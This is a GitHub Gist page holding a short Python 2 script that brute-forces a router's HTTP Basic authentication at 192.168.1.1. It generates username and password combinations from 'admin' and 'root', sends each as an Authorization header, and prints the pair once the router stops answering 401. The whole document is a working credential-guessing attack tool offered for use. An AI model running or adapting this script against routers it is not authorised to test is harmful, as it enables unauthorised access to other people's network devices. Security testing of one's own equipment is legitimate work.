Created
December 26, 2012 07:08
-
-
Save imebeh/4378620 to your computer and use it in GitHub Desktop.
enum router's username and password based on Basic authorization.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#coding: utf-8 | |
__author__ = 'morph1x' | |
import httplib | |
from base64 import b64encode | |
ip= '192.168.1.1' | |
keywords= ['admin','root'] | |
header={ | |
'User-Agent': 'Mozilla/4.0 (compatible; MSIE 4.01; Windows NT)', | |
'Host': '%s' % ip, | |
'Pragma': 'no-cache', | |
'Authorization': 'Basic' | |
} | |
conn = httplib.HTTPConnection(ip) | |
def TryRouterAuthorize(urs, pws, id): | |
ret= [] | |
getPw= False | |
for ur in urs: | |
print 'thread %s, try username: \t%s' % (id, ur) | |
for pw in pws: | |
print ' thread %s, try password: \t%s' % (id, pw) | |
header.update({ | |
'Authorization': 'Basic %s' % b64encode('%s:%s' % (ur, pw)) | |
}) | |
conn.request('GET', '/', headers= header) | |
if conn.getresponse().status != 401: | |
getPw= True | |
ret= [ur, pw] | |
print '\nGOT IT!\nusername: %s\npassword: %s' % (ur, pw) | |
break | |
if getPw: break | |
return ret | |
urs=[] | |
pws=[] | |
#creaet a password dic | |
for i in keywords: | |
urs.append(i) | |
pws.append(i) | |
for j in keywords: | |
urs.append(i + j) | |
pws.append(i + j) | |
for l in keywords: | |
urs.append(i + j + l) | |
pws.append(i + j + l) | |
TryRouterAuthorize(urs, pws, 1) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment